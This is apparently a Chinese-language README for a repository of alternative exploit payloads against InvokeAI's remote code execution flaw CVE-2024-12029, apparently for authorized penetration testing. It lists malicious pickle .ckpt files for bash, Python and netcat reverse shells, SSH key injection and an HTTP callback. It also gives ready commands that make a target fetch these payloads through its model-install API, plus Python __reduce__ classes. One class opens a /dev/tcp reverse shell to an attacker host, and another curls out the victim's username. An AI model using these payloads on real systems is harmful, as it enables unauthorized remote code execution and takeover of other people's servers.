该仓库包含针对 InvokeAI 远程代码执行漏洞(CVE-2024-12029)的替代载荷方案,适用于 SSH 密钥注入失败的情况。这些载荷旨在测试 pickle 反序列化是否确实发生,并提供替代的访问方法。
本仓库提供了针对 InvokeAI RCE 漏洞(CVE-2024-12029)的替代负载方法,适用于 SSH 密钥注入失败的情况。这些负载旨在测试 Pickle 反序列化是否实际发生,并提供替代的访问方法。
当 SSH 密钥注入负载成功投递(状态 201),但 SSH 访问仍需密码时,表明以下情况之一:
payload_reverse_bash.ckpt(89 字节)—— Bash 反向Shellpayload_reverse_python.ckpt(267 字节)—— Python 反向Shellpayload_reverse_nc.ckpt(70 字节)—— Netcat 反向Shellpayload_callback_test.ckpt(115 字节)—— HTTP 回调,验证反序列化payload_test.ckpt(90 字节)—— 简单文件创建测试payload_alt_exec.ckpt(223 字节)—— 替代执行方法payload_ssh_simple.ckpt(271 字节)—— 兼容 Linux 的 SSH 密钥注入kali_reverse_test.py —— 综合测试套件reverse_shell_payload.py —— 生成反向Shell负载python web_server.py --port 8000
# 将 kali_reverse_test.py 复制到 Kali 并运行:
python3 kali_reverse_test.py
# 选择选项 1 测试回调
# 在 Kali 上启动监听器:
nc -lvnp 4444
# 发送反向Shell负载:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# 测试基本命令执行:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# 验证文件创建:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txtclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load() 漏洞本仓库仅用于教育和授权安全测试目的。用户有责任确保在测试任何系统前已获得适当授权。